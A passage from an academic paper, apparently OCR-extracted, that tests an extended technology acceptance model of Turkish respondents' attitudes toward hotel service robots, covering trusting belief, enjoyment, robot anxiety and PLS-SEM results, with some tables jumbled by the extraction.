Tussyadiah et al. (2020) defined trust for IT as a user’s expectation that information technology artifacts, such as robots,
recommendation agents, websites, online assistants, and similar agents, would perform the expected responsibilities. However,
a general measurement of trust in robots may not be clear in choosing human-like or system-like approaches because if one
of the robots evaluated within the scope of the research seems more human, the respondent may tend to evaluate it more in
terms of competence than functionality (Lankton et al., 2015). Furthermore, research has focused on robotics, particularly
in the hospitality literature. In these studies, robot technology is first introduced to respondents through video (Choe et al.,
2021; Zhong, Zhang, et al., 2020) or image (Seo & Lee, 2021) instead of interacting with robots directly, due to the minimal
use of such technology today. After the respondents were introduced to the robots, a survey was given to gauge responses.

In this sense, when it comes to the general evaluation of trust in robots with different characteristics, it is thought that it
would be more appropriate to use a validated scale that would be easy to understand for the respondent who has not yet
experienced interacting with robots. At this point, Ivanov et al. (2018) revealed that hotel robots have disadvantages regarding
perception among young adults. When the content of the proposed dimension is examined, it shows significant similarities
as a general concept with the trusting belief factor in I. P. Tussyadiah et al. (2020)’s study, including the expectation that
robots can malfunction during service, misunderstand questions or orders, and not fulfill special requests. Furthermore, it
such a study is thought to present a more specific scale since it includes the beliefs of individuals who have not used robot
services before, compared to the general trust approaches for robots that Etemad-Sajadi & Sturman (2021) and Seo & Lee
(2021) have developed. Since the perception of trust toward different hotel robots will be examined in our study, the dimension

from Ivanov et al. (2018) ’s research was adopted as the general trusting belief.
2.2. AFFECTIVE REACTION

In earlier studies, theories and models related to human-computer interaction in IS have focused on the cognitive and
behavioral aspects of the human decision-making process in organizational contexts, with the affective reactions, such as
feelings of joy or depression that occur from the interaction, being neglected (Davis et al., 1989; Hwang & Kim, 2007;
Venkatesh & Davis, 2000). More recent studies in IS on technology adaptation have concentrated mainly on the consequences
of users’ affective reactions, such as the external variables of enjoyment and anxiety on the perceived usefulness, ease of
use, and behavioral intention, with little attention paid to the antecedents of these affective responses (Abou-Shouk et al.,
2021; Etemad-Sajadi & Sturman, 2021; Ghazali et al., 2020; Park & Kwon, 2016; Venkatesh & Bala, 2008). However,
identifying the antecedents of affective reactions will undoubtedly contribute to a better understanding of the technology
adaptation process, both academically and practically. According to Mcknight et al. (2011), when a user’s plan or objective
is interrupted by agents due to a service failure, trust in technology reflects positive or negative emotions. Lankton et al.
(2015) statistically proved that trusting belief is an antecedent of emotion, with users feeling comfortable and enjoying
reducing the feeling of risk and uncertainty. Hwang & Kim (2007) discovered that perceived online quality with service
contents, such as the ease with which needed data can be obtained, had a positive effect on perceived enjoyment and a negative
effect on system anxiety. In a study examining the adaptation of online payment, Rouibah (2012) also found that trust
positively affects enjoyment. Individuals’ prior cognitive beliefs are shaped by media or popular culture, and emotions such
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as enjoyment or anxiety about technology acceptance are seen as highly important for human-robot interaction, particularly
in hospitality (Tung & Law, 2017). Therefore, it has been decided that it is appropriate to examine the antecedents of enjoyment
and robot anxiety, which are perceived as positive and negative affective reactions, within the scope of this research.

Anxiety is defined as a harmful mental state that perceived threats might trigger (H. L. Huang et al., 2021). Users may have
negative opinions about information technologies such as computers (computerphobic) due to trait or state anxiety, with the
avoidance of using them being defined as technophobia in IS literature (Brosnan, 2002). Research on human-computer
interaction (HIR) has shown that when users interact with robots in daily life, their attitudes and emotions influence their
behaviors, and negative attitudes against robots may coexist with anxiety, resulting in avoidance behavior with robots (Nomura
et al., 2008). However, although it is challenging to eliminate trait anxiety due to its permanent personality features, state
anxiety is more straightforward to eliminate due to its transitory nature (Brosnan, 2002). Detecting factors that reduce state
anxiety may provide convenience in developing a positive attitude. In this regard, the first hypothesis we produced within
the scope of the research is as follows.

HI: Trusting belief has a negative effect on robot anxiety

The term enjoyment refers to the perception that using a specific system is enjoyable in and of itself, regardless of any
performance impact from system use (Venkatesh & Bala, 2008). According to Kuo et al. (2017), using robots in hotels provide
customers with fun, enjoyment, and curiosity. For example, In Tokyo, customers tend to play and interact with social robots
as a novelty while waiting for human service in restaurants, banks, or stores (Adhikari, 2017). Considering the situation
suggested by Mcknight et al. (2011) and Lankton et al. (2015), trusting belief in robot technologies is expected to affect
perceived enjoyment positively. Califf et al. (2020) recently observed a similar effect of enjoyment on sharing economy for
Airbnb and online travel booking websites. To the best of our knowledge, our study will be the first attempt to explore the
antecedents of affective reactions on the robot adoption process in the hospitality industry. Several TAM-based robot adaptation
studies have analyzed the impact of perceived enjoyment and robot anxiety factors as independent variables, with significant
results being obtained. For example, Park & Kwon (2016) found that perceived enjoyment positively impacts both the usefulness
and ease of use for teaching assistant robots. Ghazali et al. (2020) revealed that the perceived enjoyment in individuals
significantly affects the perceived ease of use, attitude towards using, and intention to use behavior of the persuasive robots.
According to Abou-Shouk et al. (2021), the perceived enjoyment of utilizing robots in hotels and travel agencies impacts the
robot’s perceived easiness. In contrast, Etemad-Sajadi & Sturman (2021) claimed that fear of robots has a negative impact
on the willingness to use robot concierges. Saari et al. (2022) discovered a significant but small negative effect of robot
anxiety on ease of use while revealing that perceived enjoyment positively affects the ease of use with large effects for robot
concierge. While investigating the effects of pleasure and anxiety on TAM variables, it was discovered that studies on the
antecedents of these affective responses during the literature review on robot-human interaction are scarce. Wang et al. (2021)
found that the effective use of Al-voice robot services to communicate with the government positively affected users’ perceived
enjoyment. An experimental field study conducted by van Pinxteren et al. (2019) discovered that anthropomorphism explains
trust, with trust strongly influencing the enjoyment for a humanoid service robot. In this regard, the second hypothesis we
produced within the scope of the research is as follows.

H?2: Trusting belief has a positive effect on perceived enjoyment
2.3. TECHNOLOGY ACCEPTANCE MODELS

Since robots share physical space with humans, the acceptance of the robot by the human is the one factor that could produce
a successful interaction (Brohl et al., 2016). TAM is the basis for several different models that measure the acceptance of
information technology (IT) in the literature. The TAM model reveals that perceived usefulness (subjective probability of
increasing job performance using IT) and ease of use (the expectation of being effortless) are the determinants of attitude,
leading to users’ behavioral intention to use information technologies (Davis, 1989; Davis et al., 1989). TAM?2 extends TAM
by considering user acceptance of IT in the workplace and describes the impact of social influence (subjective norm,
voluntariness, and image) and cognitive instrumental (job relevance, output quality, result demonstrability, and perceived
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ease of use) on the perceived usefulness and intention to use a new system (Venkatesh & Davis, 2000). TAM3 reveals the
effect of individual differences, system characteristics, social influence, and facilitating conditions on the perceived benefit
and ease of use, considering the TAM-based studies conducted over the years, and is an extended version of TAM2 with
computer anxiety, computer playfulness, perceived enjoyment, objective usability, perception of external control, and computer
self-efficacy variables as the personal ability and intrinsic motivation (Venkatesh & Bala, 2008). UTAUAUT is a theory
based on considering eight different models from various disciplines for evaluating technology acceptance. It states that the
factors of performance expectancy, effort expectancy, social influence, and facilitating conditions have an impact on an
individual’s behavioral intention to use an IT; additionally, age, gender, experience, and voluntariness have moderator effects,
influencing each group differently (Venkatesh et al., 2003). UTUAT2 is the extended version of UTUAUT and considers
acceptance of technology in the consumer context to include hedonic motivations, price, and habits with moderator effects
of age, gender, and experience (Venkatesh et al., 2012). This study focused on the core TAM model factors, with the adaptation
of service robots in hotels being investigated using external variables. The definitions of the variables used in the study are
shown in Table 1. As listed in Table 2, several studies in the literature have applied TAM and derived models for exploring

the customer acceptance of robots in various industries.

Table 1

Definitions of the Variables in the Conceptual Model
Construct Definition References

The degree to which an individual believes
that using service robots would enhance their
performance in time-saving, assistance, and
speed of service.

Perceived Usefulness (PU) (Davis, 1989; Song, 2017)

The degree to which an individual believes that

Perceive Ease of Use (PEOU) using a service robot would be effortless.

(Davis, 1989; Heerink et al., 2010)

An individual’s positive or negative feelings

Attitude Toward Using (ATT) towards the service robots.

(Davis et al., 1989; Heerink et al., 2010)

An individual’s subjective probability that he or

Intention to Stay (INT) she will stay at the hotel served by robots.

(Chen & Tung, 2014; Davis, 1985)

The perception that using a robot is enjoyable
Perceived Enjoyment (PE) in and of itself, regardless of any performance (Heerink et al., 2010; Venkatesh & Bala, 2008)
impact.
It is the individual’s pre-existing feeling of fear
Robot Anxiety (RA) due to the unpredictability of the future to solve (Heerink et al., 2010; Nomura et al., 2008)
the difficulties encountered while using the robot.
An individual’s beliefs in a robot’s functionality,

Trusting Belief (TB) reliability, and responsiveness.

(Lankton et al., 2015)

As in the basic model, it has been observed that the perceived ease of use and perceived usefulness positively influence the
attitudes toward service robots (Abou-Shouk et al., 2021; Choe et al., 2021; Ghazali et al., 2020; W. H. Lee et al., 2018; Li &
Wang, 2021; Park & Kwon, 2016; Zhong, Zhang, et al., 2020). Furthermore, some research indicates that perceived ease of
use has a significant positive impact on perceived usefulness (Abou-Shouk et al., 2021; Choe et al., 2021; Forgas-Coll et al.,
2021; Ghazali et al., 2020; W. H. Lee et al., 2018; Park & Kwon, 2016; Seo & Lee, 2021; Yang et al., 2021) and intention to
use social robots (Forgas-Coll et al., 2021). In most research, attitudes toward service robots are considered an essential
antecedent of intention (Choe et al., 2021; W. H. Lee et al., 2018; Li & Wang, 2021; Park & Kwon, 2016; Zhong, Zhang, et
al., 2020). Similar to the fundamental TAM, research has shown that the perceived usefulness of service robots is a determinant
of intention to use (Etemad-Sajadi & Sturman, 2021; Forgas-Coll et al., 2021; W. H. Lee et al., 2018; Park & Kwon, 2016;
Saari et al., 2022; Seo & Lee, 2021; Yang et al., 2021). In this context, the hypotheses developed within the scope of the
conceptual model, including the essential TAM variables, are as follows:

H3: Perceived usefulness has a positive effect on attitude toward using robots
H4: Perceived ease of use has a positive effect on attitude toward using robots
H5: Perceived ease of use has a positive effect on perceived usefulness

Ho6: Attitude toward using has a positive effect on the intention to stay
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The factors defined as external variables in the basic TAM and the effects on perceived usefulness, ease of use, attitude
toward using, and the intention to use service robots have been examined in previous research. Studies such as those carried
out by (Park & Kwon, 2016), (Ghazali et al., 2020), (Abou-Shouk et al., 2021), and (Saari et al., 2022) have revealed that

enjoyment positively affects perceived ease of use, with (Park & Kwon, 2016) observing that enjoyment has a positive effect

on the perceived usefulness of social robots.

Table 2
Literature Review on TAM-Related Service Robots
Scope, Data, Method
Lo Findi
Study Objective indings and Location
- Ease— Usefulness
- Ease — Attitude Teaching assistant
-Using the technology - Usefulness — Attitude robotf
acceptance model to - Usefulness —Intention 609 Respondents
(Park & Kwon, 2016) investigate the factors that - Attitude — Intention P
. . . Survey
influence the adoption of - Enjoyment— Usefulness SEM
Teaching Assistant robots. - Enjoyment — Ease
. . South Korea
- Service Quality— Usefulness
- Service Quality — Ease
- E ful
-TAM was used to ase— Use u ness
investigate the customer’s  Fase— Attitude Restaurants
perce;%tion of restaurant - Usefulness— Attitude Service Robots
. . : ful A 2 R
(W. H. Lee et al., 2018) robots, including trust, Use eSS Accep tance 382 Respondents
interactivity, and output + Atitude— Acceptance Survey
. % P - Trust— Usefulness SEM
quality as independent . .
factors - Interactivity— Ease Taiwan
) - Output Quality— Usefulness
- Social Influence— Intention
Based on - Attitude— Intention Care Robots

(Turja et al., 2020)

technology acceptance
theories, a model is
proposed for the intention to
use care robots.

- Usefulness— Intention
- Enjoyment— Intention
- Personel Values— Usefulness
- Personel Values— Social Influence

- Perceived Unemployment[-]— Personel Values

544 Respondents
Survey
SEM
Finland

(Ghazali et al., 2020)

Analyzing the
user’s acceptance of the
social robot by evaluating
the TAM with factors
expressed trusting belief,
compliance, liking, and
psychological reactance that
are conceptualized as social

- Usefulness— Attitude
- Ease— Usefulness
- Base— Attitude
- Ease— Liking
- Enjoyment—Ease
- Enjoyment— Attitude
- Enjoyment— Intention
- Enjoyment— Liking
- Liking— Reactance
- Liking— Intention
- Beliefs— Reactance

Before completing
the survey, participants
interacted with a
persuasive robot
Survey
SEM
78 Respondents

(Zhong, Zhang, et al., 2020)

TeSponses. - Beliefs— Attitude
- Beliefs— Usefulness
- Beliefs— Compliance
-The theory of planned - Usefulness— Attitude the Su]ic:jore :Iiil? lzrtlltrgg
behavior, the technology - Ease— Attitude ¥> P p

acceptance model, and
the perceived value-based
acceptance model was used
to investigate hotel guests’

attitudes toward robots.

- Sentimental Value— Value
- Self-Efficacy— Behavioral Control
- Attitude— Intention
- Value— Intention
- Behavioral Control— Intention

watched a video on hotel
service robots
Survey
SEM
217 Respondents
China

(Yang et al., 2021)

-Explores the relation
between technology
readiness and technology
amenities as antecedents
to visiting intentions using
TAM.

Ease— Usefulness
Ease[-]— Visiting Intention
Usefulness— Visiting Intention
Technology Readiness— Visiting Intention
Technology Amenities— Ease
Technology Amenities — Usefulness

Smart Hotels
Interview
Survey
SEM
648 Respondents
China
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-Using the technology
acceptance model and
theory of planned behavior

(Choe etal,, 2021) for exploring behavioral

- Ease— Usefulness
- Ease— Attitude
- Usefulness— Attitude
- Subjective Norm— Attitude

- Subjective Norm— Personal Norm

Before completing
the survey, participants
watched a video on
restaurant robots
Robotic Restaurant

. L - Subjective Norm— Intention Survey
intentions in the context of . .
robotic restaurants - Attitude — Intention : SEM
’ - Behavioral Control— Intention 416 Respondents
- Personal Norm— Intention South Korea
- Usefulness— Attitude
. - Enjoyment— Ease
: the technol .
Using the technology - Adopter category— Ease Hotel Service
acceptance model to .
. . - Appropriateness— Usefulness Robot
examine the variables . Base— Attitude Survey
bl s 202) g enonss) e Ui o
adoption in hitels ai d travel - General Attitude— Attitude 570 Respondents
P - General Attitude— Usefulness Egypt

agencies

- Robots’ interest— Attitude
- Robots’ interest— Usefulness

-Understanding with
an extended TAM how
consumers respond to a
service experience provided
by the robot Pepper.

(Etemad-Sajadi & Sturman,
2021)

- Social Presence— Usefulness
- Social Presence— Trust

- Social Presence— Emotional Appeal

- Trust— Intention
- Trust[-]— Emotional Appeal
- Emotional Appeal— Intention
- Usefulness— Intention
- Fear of Robots[-]— Intention

The participants
interacted with the robot
pepper, and then the
questionnaire form was
filled.

Concierge in
University
Survey
: SEM
180 Respondents

-Exploring customer
acceptance of service
robots with TAM where
external variables are
customer characteristics
(role clarity and ability)
and robot characteristics
(anthropomorphism,
autonomy)

(Li & Wang, 2021)

- Attitude— Intention

- Anthropomorphism— Usefulness

- Autonomy— Usefulness
- Autonomy— Ease
- Ability— Usefulness
- Ability— Usefulness
- Ease— Attitude
- Usefulness— Attitude
- Role clarity— Ease

General Service
Robots
416 Respondents
Survey
SEM
China

-Investigating the effect of
trust, perceived risk, and
satisfaction on each other

and TAM constructs in the
robot service restaurant.

(Seo & Lee, 2021)

- Usefulness— Intention
- Ease— Usefulness
- Trust— Usefulness
- Trust— Ease
- Trust— Risk
- Trust— Satisfaction
- Risk— Satisfaction
- Risk— Intention
- Satisfaction— Intention

Service Robots at
Restaurants
Before the
questionnaire was
completed, the
participants were shown
pictures of robots.
Survey
SEM
338 respondents
South Korea

-Based on TAM, a model
is proposed to estimate the
intention to use social robot

technology. Differences
in terms of gender were
investigated.

(Forgas-Coll et al., 2021)

- Usefulness— Intention
- Ease— Intention
- Ease— Usefulness
- Enjoyment— Intention
- Social Influence— Intention

Social Robots

The participants

filled out the

questionnaire after
interacting with the social
robot.
Survey
: SEM

219 Respondent

Spain

-Investigating the
applicability of the
technology acceptance
model in the context of
(Saari et al., 2022) social robots.
- Examining the differences

- Image— Usefulness
- Output Quality— Usefulness
- Enjoyment— Ease
- Usefulness— Intention

- Result Demonstrability — Usefulness

- Subjective Norm — Image

Respondent
interacted with a robot
prototype (Pepper) to
check the lunch menu in
the university before the
survey was conducted

in adoption of social robots . Survey
- Robot A ty [-]— E:
between early adopters and obot Anxiety [-]— Ease . SEM
mass-market representatives. 132 Respondents
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As an affective reaction, users’ anxiety and fear of robots aspects were found to have a negative impact on the ease of use
(Saari et al., 2022) and the intention to use social robots (Etemad-Sajadi & Sturman, 2021), respectively. Additionally,
anthropomorphism (Li & Wang, 2021), service quality (Park & Kwon, 2016), interactivity (W. H. Lee et al., 2018), trust
(Etemad-Sajadi & Sturman, 2021; W. H. Lee et al., 2018; Seo & Lee, 2021), output quality (Ghazali et al., 2020; Saari et al.,
2022), beliefs (Ghazali et al., 2020), technology readiness and amenities (Yang et al., 2021), robots’ interest (Abou-Shouk et
al., 2021), social presence (Etemad-Sajadi & Sturman, 2021), liking (Ghazali et al., 2020), risk (Seo & Lee, 2021), autonomy
and ability (Li & Wang, 2021), result demonstrability and image (Saari et al., 2022), appropriateness (Abou-Shouk et al.,
2021), general attitude (Abou-Shouk et al., 2021), role clarity (Li & Wang, 2021), subjective norm (Choe et al., 2021), social
influence (Forgas-Coll et al., 2021), satisfaction (Seo & Lee, 2021), value (Zhong, Zhang, et al., 2020), behavioral control
(Choe et al., 2021; Zhong, Zhang, et al., 2020), personal norm (Choe et al., 2021), emotional appeal (Etemad-Sajadi & Sturman,
2021), and adopter category (Abou-Shouk et al., 2021) are other factors exploring the effects on basic TAM variables related
to service robots’ studies.

In this context, we investigated the effects of perceived enjoyment and robot anxiety, which we conceptualized as affective
reactions in our study, on the basic TAM variables. The hypotheses created are as follows;

H7: Perceived enjoyment has a positive effect on perceived usefulness

HS: Perceived enjoyment has a positive effect on perceived ease of use

Perceived H, Perceived
o Enjoyment o Ease of Use “H.
H . A “Huo ‘ \~.
Attitude Toward | 4 :
Trusting Belief [ X H. Using Intention to Stay
H,‘\ /H : ‘ >
94 . i Perceived |/ Hs
Robot Anxiety o™ Usatiliass

Figure I. Conceptual Research Model

Within the scope of the literature review, it is observed that most of the studies on the adaptation of service robots are carried
out in far eastern countries (Choe et al., 2021; W. H. Lee et al., 2018; Li & Wang, 2021; Park & Kwon, 2016; Seo & Lee, 2021;
Yang et al., 2021; Zhong, Zhang, et al., 2020). Furthermore, questionnaires were used with the convenience sampling method
for data collecting, and all studies conducted structural equation modeling (SEM) for path analysis. Sharing experiences by
interacting with robots (Etemad-Sajadi & Sturman, 2021; Forgas-Coll et al., 2021; Ghazali et al., 2020; Saari et al., 2022)
and giving information about service robots by showing videos (Choe et al., 2021; Zhong, Zhang, et al., 2020) and photographs
(Seo & Lee, 2021) to the respondents before filling out the questionnaire is used in several TAM-related service robot studies.

3 METHODOLOGY
3.1 SAMPLES AND PROCEDURES

This study is a part of the researcher-funded project at Sakarya University on the adoption of robot technologies which took
place with the approval of the ethics committee, Turkey and was conducted in 2022. The online questionnaire with non-
probability convenience sampling was chosen as the data collecting method, with a total of 598 respondents volunteering to
participate in the research. Before filling out the questionnaire, the respondents watched a three-minute informative video
about hotel service robots. This video introduces eight different service robots, including: reservation, luggage carrier, in-
room informative, room service, concierge, cleaning, waiter, and cook. Two sample screenshots of the video are shown in

Figure 2.
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Figure 2. Screenshots from Informative Video About Hotel Service Robots

3.2. INSTRUMENT DEVELOPMENT

The scales used in the survey were adapted from various sources. Eight items from Heerink et al. (2010) and Nomura et
al.(2008) for robot anxiety, five items from Zhong, Sun et al.(2020) for intention to stay, five items each from Heerink et al.
(2010) for perceived ease of use and perceived enjoyment, five items from Heerink et al. (2010) and Song (2017) for perceived
usefulness, three items for trusting belief from Ivanov et al., (2018) were adopted, and one question for trusting belief was
developed within the scope of the research. These items were measured on a 5-point Likert scale ranging from 1 (strongly
disagree) to 5 (strongly agree). In addition, attitude toward using, which consists of five items adapted from Lin & Mattila

(2021), was measured on a 5-point Likert scale with extremely negative = 1 to extremely positive = 5.
3.3 DATA ANALYSIS
3.3.1 DESCRIPTIVE STATISTICS

Table 3 shows the demographic distribution of the respondents participating in the questionnaire. There is a balance in gender,
with 54% of the respondents being male and 46% female.

Table 3
Descriptive Statistics
Measure Item Frequency Percentage
Gender Male 320 54%
Female 278 46%
18-29 225 38%
30-41 140 23%
Age 42-53 118 20%
54-64 97 16%
65+ 18 3%
High School 32 5%
Vocational High School 30 5%
Education University 333 56%
Master 151 25%
Doctorate 52 9%
. Single 317 53%
Marital Status -
Married 281 47%

The respondents participating in the research who are aged between 18 and 29 accounted for 38%. The percentage of
respondents aged 30-41 is 23%, while the respondents aged 42 and older is 39%. Regarding education, it has been observed
that 90% of the respondents have a university or higher degree. In terms of marital status, 53% are single and 47% are married.
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3.3.2 STRUCTURAL EQUITATION MODELING (SEM)

SEM is a robust approach which combines factor analysis and path analysis and allows researchers to test the hypotheses
between one or more dependent or independent variables. It simultaneously evaluates the theory-based measurement model,
which provides a comprehensive means for analyzing and adjusting the conceptual model (Anderson & Gerbing, 1988;
Hayduk et al., 2007; L. Lee et al., 2011). There are two SEM methods: covariance-based (CB) and variance-based partial
least squares (PLS). Hair Jr. et al. (2017) recommend using PLS-SEM for non-normal distribution data, which is valid for
most social science research. In this regard, the discrimination and construct validity test results were examined using the
SmartPLS (Ringle et al., 2015), with the measurement model path coefficients being calculated afterwards.

3.3.3 CONFIRMATORY FACTOR ANALYSIS

The indicator reliability (factor loadings), multicollinearity assessment (variance inflation factor), internal consistency
reliability (Cronbach’s a, Composite Reliability), convergent validity (Average Variance Extracted), and discriminant validity
(Fornell-Larcker Criterion) methods were used to evaluate the measurement model (Joseph F. Hair et al., 2013). The variance
inflation factor (VIF), Factor loadings, Cronbach’s a, Composite Reliability, and Average Variance Extracted (AVE) results
were obtained using the SmartPLS software and are listed in Table 4.

Factor loading values less than 0.6 were removed from the analysis because they did not provide total structural integrity,
as proposed by (Hulland, 1999) and (Joe F. Hair et al., 2011). Three items were removed from the study because they did not
meet this criterion. As seen in Table 4, the Cronbach’s a (> 0.70), Composite Reliability (> 0.70), AVE (> 0.50), and VIF (<
5) of each factor are at the accepted level as suggested by Bagozzi & Yi (1988), Fornell & Larcker (1981) and (Joseph F. Hair
et al., 2013).

The normality test for the data was calculated by considering the method of Sharma et al. (2021). According to the result of
aweb-based tool (https:/webpower.psychstat.org/) created by Cain et al. (2017), which tests the data for multivariate normality
considering Mardia’s (1970) technique (multivariate skewness: p = 4.41, p-value < 0.01; multivariate kurtosis: B = 79.28, p-
value < 0.01), our data does not follow a normal distribution because the p-value for chi-squared tests is approximately 0 and
the multivariate skewness and kurtosis are significantly larger than 0. In this regard, the non-normal distributed data,

frequently seen in social sciences, is the primary reason for using PLS-SEM, which can handle fittingly in our research.

Table 4.

Confirmatory Factor Analysis

Factors and Items VIF FL AVE CR o
Robot Anxiety [RA]

I would feel very nervous just standing in front of a robot 2.28 0.83

I would feel nervous operating a robot in front of other people 2.35 0.80

If I should use the robot, I would be afraid to make mistakes with it 2.43 0.77 0.598 0.899 0.865
If I should use the robot, I would be afraid to break something 2.21 0.75

I would feel paranoid talking with a robot 1.92 0.74

I would feel uneasy if I was given a job where I had to use a robot 1.63 0.71

Attitude Toward Using [ATT]

My personal atqtude towards belng served b?/ service r(‘)bots in a hotel is 4.95 0.95 0.870 0.952 0.925
My personal attitude towards service robots in general is 332 0.92

My personal attitude towards engaging or interacting with service robots is 3.42 0.92

Perceived Ease of Use [PEOU]|

I find the robot easy to use 2.83 0.90

I think I can use the robot when I have a good manual 2.70 0.88 0.756 0.925 0.892
I think I will know quickly how to use the robot 2.46 0.87

I think I can use the robot without any help 2.07 0.81
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Perceived Enjoyment [PE]

I find the robot enjoyable

I enjoy doing things with the robot

I enjoy the robot talking to me

I find the robot fascinating

I find the robot boring

Trusting Belief [TB]

Any incorrect operation cannot be canceled while robots serve consumers
Robots can malfunction during service

Robots can misunderstand a question/order

Robots can’t do special requests/they work only in a programmed frame
Intention to Stay [INT]

I will consider making a reservation at this hotel

I want to make a reservation at this hotel

I am willing to recommend this hotel to my friends and relatives

I will likely make a reservation at this hotel

I don’t want to stay at this hotel (reverse)

Perceived Usefulness [PU]

Using the robots in hotel services will save me time

The use of robots in hotel services would be useful

I think things will be done quickly with the use of robots in hotel services
The use of robots in hotel services can help me with many things

4.12
3.88
3.30
2.56
1.41

1.40
1.51
1.58
1.28

2.84
291
2.63
2.38
1.62

2.88
2.65
2.88
2.49

0.91
0.90
0.89
0.85
0.66

0.80
0.77
0.77
0.64

0.88
0.88
0.87
0.84
0.70

0.89
0.88
0.88
0.87

0.726

0.566

0.709

0.784

VIF: Variance inflation factor, FL.: Factor Loadings, AVE: Average Variance Extracted, CR: Composite Reliability

0.929

0.838

0.924

0.935

0.902

0.747

0.896

0.908

Discriminant validity empirically reveals whether a construct is truly distinct from other constructs in the model (Joseph F.

Hair et al., 2017). Discriminant validity requires that the square root of each factor’s AVE be greater than the correlations

among them (Fornell & Larcker, 1981; Joseph F. Hair et al., 2014). Table 5 shows that each variable’s value is at the required

level. On the diagonal in Table 4, the square root of AVE values is given; the other values represent the correlations between

variables.
Table 5
Discriminant Validity
Mean Std. Deviation RA
RA 2,67 1,04 0.773
ATT 3,37 1,10 -0.477
PEOU 3,61 0,99 -0.488
PE 3,37 1,15 -0.429
INT 3,60 1,06 -0.446
TB 3,42 0,91 -0.530
PU 3,75 1,03 -0.419

3.3.4 STRUCTURAL MODEL

ATT

0.933
0.536
0.699
0.740
0.422
0.679

PEOU

0.869
0.449
0.513
0.336
0.517

PE

0.852
0.697
0.438
0.621

INT

0.842
0.446
0.663

B

0.752
0.342

PU

0.885

In PLS-SEM, bootstrapping as the non-parametric resampling method examines the estimates’ accuracy and generates tests

for statistical significance results (L. Lee et al., 2011). As suggested by Hair Jr. et al. (2017), five thousand samples were used

for bootstrapping. Figure 3 shows the variables’ structural relation, coefficient, and R? values.

As seen in Table 6, trusting belief has a negative effect on robot anxiety (f: -0.530, R%: 0.279, p: 0.000) and a positive effect
on perceived enjoyment (f: 0.438, R% 0.190, p: 0.000). For assessing effect size (f2), J. F. Hair et al. (2017) state that values
of >0.02, >0.15, and >0.35 represent the independent variable’s small, medium, and large effects. In this context, it is seen
that trusting belief has a large effect (f2: 0.390) on robot anxiety (B: -0.530, R?: 0.279, p: 0.000) and a medium effect (f>: 0.237)

on enjoyment (f: 0.438, R% 0.190, p: 0.000).
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Table 6

Path Model

H Structural Relation Coefficient Standard Deviation T Statistics P Values 2
H, TB— RA -0.530 0.031 17.273 0.000 0.390
H, TB— PE 0.438 0.031 13.933 0.000 0.237
H, PU— ATT 0.548 0.033 16.702 0.000 0.448
H, PEOU— ATT 0.253 0.034 7.425 0.000 0.095
H, PEOU— PU 0.264 0.039 6.794 0.000 0.090
H, ATT— INT 0.740 0.021 35.883 0.000 1.212
H, PE— PU 0.464 0.039 11.929 0.000 0.296
H, PE— PEOU 0.294 0.038 7.813 0.000 0.102
H, RA— PU -0.091 0.037 2.443 0.015 0.011
H RA— PEOU -0.362 0.039 9.267 0.000 0.154

S

T-statistics were expected to be larger than 1.96 at p<0.05 (Wong, 2013)

The significant effects of these factors as affective reactions on the main TAM variables as the perceived usefulness and
ease of use were observed. While perceived usefulness (B: 0.464, R*: 0.460, p: 0.000) and ease of use (B: 0.294, R 0.306, p:
0.000) are both influenced by perceived enjoyment, it has been discovered that robot anxiety has a negative impact on
perceived ease of use (B: -0.362, R%: 0.306, p: 0.000) and perceived usefulness (B: -0.091, R%: 0.460, p: 0.000). The effect of
perceived enjoyment on usefulness is medium (f2:0.296), and its impact on the ease of use is small (f>: 0.102), while the effect
of robot anxiety on ease of use was medium (2: 0.149). Although a statistically significant impact of robot anxiety on perceived
usefulness has been observed, the coefficient (B: -0.091) and the effect size (f:0.011) are pretty low.

0.464
PE 0.460
0438
0.204 0.548
0.264 0.740
-0.001
™ 3o 0.253 ATT INT
-0.362
PEOU
RA

Figure 3. The Estimated Structural Model

When the relationships between the basic TAM variables were examined, it was found that perceived usefulness had a positive
impact on attitude toward using (: 0.548, R?: 0.506, p: 0.000) with a large effect (f2:0.448). Perceived ease of use positively impacts
attitude toward using (B: 0.253, R% 0.506, p: 0.000) and perceived usefulness (B: 0.264, R?: 0.460, p: 0.000) with a medium effect
(f2: 0.09). Finally, attitude toward using has the most decisive positive impact on intention to stay (: 0.740, R?: 0.547, p: 0.000) with
a large effect size (f2: 1.212). As a result, the hypotheses developed within the scope of the research were accepted.

Stone—Geisser’s Q? is a method for assessing a structural model’s predictive relevance, in which values greater than 0 show
that the model is adequate and has predictive relevance (Joe F. Hair et al., 2011; Joseph F. Hair et al., 2013). Our analysis
results show that the Q? value of each dependent variable is sufficient (ATT:0.439, INT:0.382, PE:0.137, PEOU:0.227, PU:0.356,
RA:0.164).
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Finally, The Standardized Root Mean Square Residual (SRMR) and the Normed Fit Index (NFI) were examined as model
fit criteria (Bentler & Bonett, 1980; Hu & Bentler, 1999). While NFI is expected to be close to 1, SRMR less than 0.08
indicates a better model fit. For our model, the SRMR value was 0.05, and the NFI value was 0.87.

4 DISCUSSION AND IMPLICATIONS
4.1 THEORETICAL IMPLICATIONS

This study examined the effects of adding two critical variables, perceived enjoyment and robot anxiety, to the core TAM
as affective reactions and the influence of the trusting belief aspect, which is an antecedent of affective reactions. Additionally,
this study fills an important gap in contributing to the literature on the adaptation of hotel service robots, which is rare. This
is the first attempt to explore this topic from the perspective of Turkish customers.

The findings validate some previous research on service robots centered on TAM. It was discovered that the attitude toward
using service robots has a strong positive impact on the intention to stay in a hotel served by robots and is influenced by
perceived usefulness, which has a greater effect than perceived ease of use. In this regard, similar results were found with
research on the adaptation of teaching assistant robots (Park & Kwon, 2016), restaurant service robots (Choe et al., 2021; W.
H. Lee et al., 2018), hotel service robots (Zhong, Zhang, et al., 2020), and general service robots (Li & Wang, 2021).

As an affective reaction, the results of our study found that enjoyment positively affects perceived usefulness and ease of
use, while robot anxiety negatively affects perceived ease of use and perceived usefulness. Similar impacts on the ease of
use on enjoyment may be noticed in the research findings of Saari et al. (2022), Ghazali et al. (2020), and Abou-Shouk et al.
(2021). Furthermore, our research reveals a strong influence of perceived enjoyment on perceived usefulness, which we
believe to be a significant contribution to the literature and consistent with Park & Kwon’s (2016) findings. Our findings
show parallelism with Saari et al. (2022) regarding the negative effect of robot anxiety on perceived ease of use.

Our hypothesis that robot anxiety as an affective reaction has a negative effect on perceived usefulness has been statistically
confirmed but with a very small impact; hence, this result partially supports the findings of Heerink et al. (2010), which
found no meaningful effect. Although the cause for such a condition has not been discovered in research on robot adaptation,
it is stated in the TAM-related literature that computer anxiety does not directly affect perceived usefulness but is indirectly
influenced by perceived ease of use (Chatzoglou et al., 2009; Igbaria & Chakrabarti, 1990). This result was valid in our
